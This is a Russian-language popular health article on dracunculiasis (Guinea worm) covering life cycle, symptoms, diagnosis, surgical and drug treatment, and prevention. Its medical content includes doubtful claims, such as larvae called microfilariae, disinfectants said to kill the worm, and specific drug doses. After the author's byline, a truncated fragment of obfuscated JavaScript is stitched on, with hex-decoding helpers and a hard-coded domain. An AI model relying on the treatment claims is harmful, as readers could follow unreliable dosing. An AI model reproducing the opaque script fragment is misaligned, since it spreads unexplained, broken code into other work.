Червь ришта (дракункулез)

Дракункулез (по-другому – ришта) – это тяжелая форма гельминтоза, возбудителями которой являются представители нематод (круглых червей) – так называемые «маленькие драконы». На фото ниже видно, что червь имеет существенные размеры – величина самки гельминта составляет около метра, длина тела самцов паразитов немного меньше.

Внешне возбудитель ришты выглядит как длинная нить с утолщенным передним концом (головкой), на котором есть ротовое отверстие с несколькими сосочками, ведущими в пищевод.

Как таковой кишечник у гельминта отсутствует, наибольшую часть тела самки, как показано на видео, занимает матка – именно это место развития оплодотворенных личинок (они получили название микрофилярий).

Поскольку червь, который провоцирует дракункулез, принадлежит к группе биогельминтов, цикл его развития предполагает последовательную смену «хозяев»: так, жизненный путь червей заканчивается в человеческом теле, а промежуточными хозяевами являются рачки и циклопы – обитатели пресных водоемов.

Именно тогда, когда человек выпивает неочищенную воду из зараженных естественных водоемов, в его организм попадают микрофилярии – в желудке они подвергаются воздействию ферментов, личинки паразитов высвобождаются и постепенно мигрируют в брюшную полость. Дракункулез развивается тогда, когда микрофилярии разносятся вместе с лимфой и кровью по телу «хозяина» и «оседают» в соединительной ткани и подкожной клетчатке нижних конечностей.

Спустя три месяца после того, как произошло заражение, происходит процесс оплодотворения самки. Через год червь завершает свое развитие, его головка просматривается и прощупывается под слоем кожи на ногах зараженного больного – на фото показано, что на эпидермисе формируется своеобразное утолщение в виде пузыря. Такие образования имеют довольно крупные размеры (от 2 до 5 см) и заполнены экссудатом. Подобное явление сопровождается ощущением нестерпимого жжения и боли в ногах.

Минимизировать неприятные симптомы, которые вызывает ришта, можно опустив нижние конечности в прохладную воду, ‒ это приводит к тому, что заполненные экссудатом пузырьки лопаются, а микрофилярии (как видно на видео) выползают в водоем, где проглатываются рачками, ‒ цикл развития паразитов в теле промежуточных хозяев длится от десяти дней до двух недель.

Когда человек пьет воду из таких зараженных микрофиляриями водоемов, жизненный цикл паразитов завершается. Спустя несколько недель взрослая ришта погибает, успев «выпустить на свет» несколько миллионов новых личинок. Из этого следует, что основной вред для организма дракункулез приносит через год после попадания гельминтов в тело больного – именно тогда человек становится инвазивным.

Как проявляется заболевание

Симптомы паразитирования и развития гельминтов в организме окончательного хозяина – человека – очень типичны. Ришта в процессе миграции травмирует соединительные ткани, продукты жизнедеятельности глиста вызывают у больного тяжелую аллергическую реакцию, к тому же, нередко дракункулез сопровождается и присоединившейся вторичной инфекцией.

Когда цикл жизни ришты находится на начальных фазах, возможно и бессимптомное течение недуга. Первые признаки, с помощью которых дракункулез дает знать о себе, такие:

• на коже зараженного человека, как показано на видео, появляются высыпания, внешне напоминающие крапивницу;
• у больного диагностируются симптомы бронхиальной астмы;
• паразит вызывает различные формы кишечных расстройств – пациентов мучает диарея, рвота, тошнота;
• воспаляются регионарные лимфоузлы;
• у человека с диагнозом «дракункулез» часто возникают лихорадочные состояния;
• суставы, расположенные в непосредственной близости к пузырькам с экссудатом, напухают, увеличиваются в размерах и болят.

Когда цикл жизни гельминта находится на этапе образования пузырей под кожей на нижних конечностях, человека беспокоят сильные болевые ощущения в данной области, преследует чувство нестерпимого жжения.

«Излюбленное место» обитания ришты – голени. Нередко дракункулез также поражает нижнюю часть спины, живот, ягодицы, мужскую мошонку.

Заболевание начинается с появления характерного, как на фото, эритематозного пятна небольших размеров, после чего на его месте образуется уплотнение ‒ пузырь, заполненный экссудатом (внутри него – личинки ришты). Визуально это напоминает фурункул, но без характерного воспаления вокруг него.

Если вскрыть пузырь, на его месте появится болезненная язва с некротическими массами. Через время рана заживает, исчезают и аллергические симптомы, которые вызывает дракункулез.

Если жизненный цикл ришты оканчивается в непосредственной близости от суставов, болезнь заканчивается артритом, деформацией контрактуры конечности, могут деформироваться мышцы.

Червь может пальпироваться под кожей больного – это своего рода уплотнение шарообразной формы. На фоне сниженного иммунитета у зараженного человека может развиться вторичное инфицирование, в таком случае клиническая картина ришты обязательно дополнится характерными признаками гнойного воспаления:

• озноб;
• абсцесс;
• лихорадочное состояние;
• может развиться сепсис или гангрена нижних конечностей.

В целом симптомы, которые сопровождают дракункулез, предопределяются количеством паразитирующих в теле человека гельминтов. Так, если в организм попал всего один глист, спустя полтора месяца больной полностью выздоравливает. При интенсивной инвазии прогноз менее благоприятен – пациент надолго лишается трудоспособности, а лечение недуга – длительное и тяжелое.

Как выявить заболевание

Помимо внешних признаков присутствия ришты в теле человека (характерных пузырьков), для постановки диагноза специалисты применяют такие показатели:

• результаты анализа крови демонстрируют повышенный уровень эозинофилов – это индикатор аллергической реакции на активность гельминтов;
• под верхним слоем эпидермиса на нижних конечностях могут пальпироваться уплотнения в виде шнура.

В пределах эндемичных очагов паразитирования ришты диагностика заболевания не вызывает затруднений, а вот вне данных зон обнаружение глистов затруднено схожестью клинической картины с абсцессом, флегмоной или фурункулезом.

Как лечат недуг

Существует несколько вариантов борьбы с дракункулезом:

• наиболее оптимальный – хирургическое удаление паразита, специалист делает небольшой надрез на коже и извлекает гельминта;
• второй способ – более длительный, но практикуется чаще – язву обрабатывают дезинфицирующими средствами, вследствие этого паразит погибает, его осторожно наматывают на специальную палочку, стараясь избежать обрывов. Длится такая терапия несколько месяцев.

Чтобы избежать вторичного инфицирования, ранку на коже пациента периодически промывают раствором и накладывают на нее защитную повязку.

Медикаментозная терапия недуга предполагает использование Метронидазола (500 мг / 3 раза в сутки), Тиабендазола (25 мг на каждый килограмм веса пациента). Терапевтический цикл длится два дня. Чтобы минимизировать аллергические симптомы дракункулеза, пациенту назначают антигистаминные препараты.

Профилактика

Чтобы предотвратить заражение риштой, следует придерживаться следующих правил:

• санитарно-просветительская работа среди малограмотного населения;
• охрана естественных водоемов;
• полный запрет на купание в реках и озерах больных с симптомами паразитирования ришты;
• фильтрование воды, используемой для питья.

В тропических странах множество людей сталкиваются с дракункулезом – формой гельминтоза, развивающейся в результате паразитирования одной из разновидностей круглых червей – ришты. Недуг сопровождается тяжелой клинической картиной и вызывает опасные осложнения (в частности, может привести к абсцессу). Своевременное хирургическое или консервативное лечение заболевания поможет уберечь зараженного пациента от серьезных последствий паразитирования этих гельминтов.

Автор статьи – Кухтина М.В.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "glistenme.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e